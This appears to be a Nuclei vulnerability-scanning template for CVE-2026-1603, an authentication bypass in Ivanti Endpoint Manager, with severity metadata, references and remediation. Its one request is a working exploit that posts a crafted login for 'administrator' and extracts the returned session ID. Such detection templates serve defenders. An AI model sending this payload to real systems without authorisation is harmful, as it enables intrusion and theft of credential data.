id: CVE-2026-1603

info:
  name: Ivanti Endpoint Manager - Authentication Bypass
  author: DhiyaneshDk,watchtowrlabs
  severity: high
  description: |
    Ivanti Endpoint Manager < 2024 SU5 contains an authentication bypass caused by improper access control, letting remote unauthenticated attackers leak stored credential data, exploit requires no special privileges.
  impact: |
    Remote attackers can leak stored credential data, potentially compromising sensitive information.
  remediation: |
    Update to version 2024 SU5 or later.
  reference:
    - https://x.com/watchtowrcyber/status/2022305033086235108/photo/1
    - https://hub.ivanti.com/s/article/Security-Advisory-EPM-February-2026-for-EPM-2024
    - https://nvd.nist.gov/vuln/detail/CVE-2026-1603
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N
    cvss-score: 8.6
    cve-id: CVE-2026-1603
    cwe-id: CWE-288
    epss-score: 0.81089
    epss-percentile: 0.99584
    cpe: cpe:2.3:a:ivanti:endpoint_manager:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: ivanti
    product: endpoint_manager
  tags: cve,cve2026,api,auth,ivanti,epmm,authbypass,vkev,kev

http:
  - raw:
      - |
        POST /RemoteControlAuth/api/Auth HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {
            "logintype":"64",
            "username":"administrator"
        }

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '"sessionid":'

      - type: word
        part: body
        words:
          - '"sessionid": null'
        negative: true

      - type: status
        status:
          - 200

    extractors:
      - type: json
        part: body
        name: sessionid
        json:
          - '.sessionid'
# digest: 4a0a004730450220388f9daa93804d015231983b437ffa5d7f280caeedd5a2710e588ab1a245a4ad022100c8054de53932c9d20f0c2fc20d21b526315225a0e467963263cbcdce62ca9ae2:922c64590222798bb761d5b6d8e72950